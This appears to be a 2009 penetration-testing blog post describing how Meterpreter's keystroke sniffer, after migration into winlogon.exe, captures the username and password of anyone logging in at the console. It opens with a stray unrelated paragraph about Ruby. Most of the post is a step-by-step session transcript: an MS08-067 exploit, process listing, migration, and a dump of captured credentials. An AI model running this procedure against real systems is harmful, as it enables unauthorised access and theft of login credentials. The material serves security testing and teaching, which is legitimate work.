This is really the first time in my ruby experience where I've had to think about the underlying implementation. Up until now, the ruby interpreter was a magical box from which dazzling lights and impressive fireballs of code sprang to life. Now I see the man behind the curtain around every corner.

Capturing Logon Credentials with Meterpreter

2009-03-22T20:22:00.000-07:00

In my previous post, I described the keystroke sniffing capabilities of the Meterpreter payload. One of the key restrictions of this feature is that it can only sniff while running inside of a process with interactive access to the desktop. In the case of the MS08-067 exploit, we had to migrate into Explorer.exe in order to capture the logged-on user's keystrokes.

While testing the keystroke sniffer, it occurred to me to migrate into the Winlogon.exe process instead. This process should have interactive access to the desktop, however when I tried to sniff the active user's keystrokes this way, it was not successful. Although Winlogon could not access the logged-on desktop using GetAsyncKeyState, it can capture the username and password of anyone logging into the target's console. The example below demonstrates this process:

msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability...
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened

meterpreter > ps

Process list
============

PID Name Path
--- ---- ----
292 wscntfy.exe C:\WINDOWS\system32\wscntfy.exe
316 Explorer.EXE C:\WINDOWS\Explorer.EXE
356 smss.exe \SystemRoot\System32\smss.exe
416 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
440 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
[ snip ]

meterpreter > migrate 440
[*] Migrating to 440...
[*] Migration completed successfully.

meterpreter > keyscan_start
Starting the keystroke sniffer...
[ wait for user login ]

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator <Tab> s3cretp4ss <Return>